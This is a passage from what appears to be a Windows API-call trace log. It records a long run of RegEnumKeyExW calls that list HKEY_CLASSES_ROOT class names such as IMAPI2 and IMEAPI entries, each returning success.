lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2TrackAtOnce", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x594, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscFormat2TrackAtOnce.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x595, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscMaster2", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x596, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscMaster2.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x597, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscRecorder2", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x598, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftDiscRecorder2.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.887] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x599, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftRawCDImageCreator", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftRawCDImageCreator.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamConcatenate", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamConcatenate.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamInterleave", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamInterleave.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x59f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamPrng001", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamPrng001.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.888] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamZero", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.889] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftStreamZero.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.889] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftWriteEngine2", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.889] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2.MsftWriteEngine2.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.889] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2FS.BootOptions", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.889] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2FS.BootOptions.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.889] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2FS.MsftFileSystemImage", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2FS.MsftFileSystemImage.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5a9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2FS.MsftIsoImageManager", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5aa, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMAPI2FS.MsftIsoImageManager.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ab, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeCommandAvailabilityViewJK", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ac, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeCommandAvailabilityViewJK.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ad, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeCommandAvailabilityViewJK.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ae, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeCommonAPI", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5af, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeCommonAPI.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeCommonAPI.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.890] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeKeyMapViewJK", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeKeyMapViewJK.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeKeyMapViewJK.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeProductObjectJK", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeProductObjectJK.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeProductObjectJK.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImePropertyJK", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImePropertyJK.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5b9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImePropertyJK.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.891] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ba, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeRequestSenderJK", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5bb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeRequestSenderJK.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5bc, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEAPI.CImeRequestSenderJK.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5bd, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMECheckDefaultInputProfile.Japan", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5be, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMECheckDefaultInputProfile.Japan.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5bf, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMECheckDefaultInputProfile.Japan.3", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPI1041", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPI1041.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPI1041.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPI1042", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.892] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPI1042.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPI1042.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1028", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1028.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1028.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5c9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1041", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ca, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1041.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5cb, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1041.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5cc, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1042", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.893] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5cd, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1042.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.894] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5ce, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeCommonAPIClassFactory1042.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.894] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5cf, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEDictionaryCompiler", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.894] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEFILES.CImeDictionaryFileCopier", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.894] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEFILES.CImeDictionaryFileCopier.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.894] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEFILES.CImeFileNameRedirectionManager", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.894] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEFILES.CImeFileNameRedirectionManager.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.894] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeKeyEventHandler1041", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeKeyEventHandler1041.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeKeyEventHandler1041.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeKeyEventHandler1042", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeKeyEventHandler1042.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5d9, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeKeyEventHandler1042.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5da, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeLmTestApi1041", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5db, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ImeLmTestApi1041.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5dc, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.IMJPCLST", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.895] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5dd, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.IMJPCLST.10", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5de, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.IMJPCLST.15", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.896] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x5df, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IMEPad.IMJPSKEY", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, 